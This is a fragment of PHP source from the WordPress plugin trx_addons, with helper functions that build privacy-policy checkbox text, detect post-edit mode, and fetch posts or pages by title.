// Return text for the Privacy Policy checkbox
if (!function_exists('trx_addons_get_privacy_text')) {
function trx_addons_get_privacy_text() {
$page = get_option('wp_page_for_privacy_policy');
return apply_filters( 'trx_addons_filter_privacy_text', wp_kses_post(
__( 'I agree that my submitted data is being collected and stored.', 'trx_addons' )
. ( '' != $page
// Translators: Add url to the Privacy Policy page
? ' ' . sprintf(__('For further details on handling user data, see our %s', 'trx_addons'),
'<a href="' . esc_url(get_permalink($page)) . '" target="_blank">'
. __('Privacy Policy', 'trx_addons')
. '</a>')
: ''
)
)
);
}
}
/* WordPress filters manipulations
-------------------------------------------------------------------------------- */
// Return true if current mode is "Edit post"
if ( !function_exists( 'trx_addons_is_post_edit' ) ) {
function trx_addons_is_post_edit() {
return (trx_addons_check_url('post.php') && !empty($_GET['action']) && $_GET['action']=='edit')
||
trx_addons_check_url('post-new.php');
}
}
if ( ! function_exists( 'trx_addons_get_post_by_title' ) ) {
/**
* Return a post by the specified title
*
* @param string $title Post title
*
* @return object Post object
*/
function trx_addons_get_post_by_title( $title, $post_type = 'any', $post_status = 'all' ) {
$posts = get_posts( array(
'post_type' => $post_type,
'title' => $title,
'post_status' => $post_status,
'numberposts' => 1,
'update_post_term_cache' => false,
'update_post_meta_cache' => false,
'orderby' => 'post_date ID',
'order' => 'DESC',
) );
$post_got_by_title = null;
if ( ! empty( $posts[0] ) && is_object( $posts[0] ) ) {
$post_got_by_title = $posts[0];
}
return $post_got_by_title;
}
}
if ( ! function_exists( 'trx_addons_get_page_by_title' ) ) {
/**
* Return a page by the specified title
*
* @param string $title Page title
*
* @return object Page object
*/
function trx_addons_get_page_by_title( $title ) {
return trx_addons_get_post_by_title( $title, 'page' );
}
}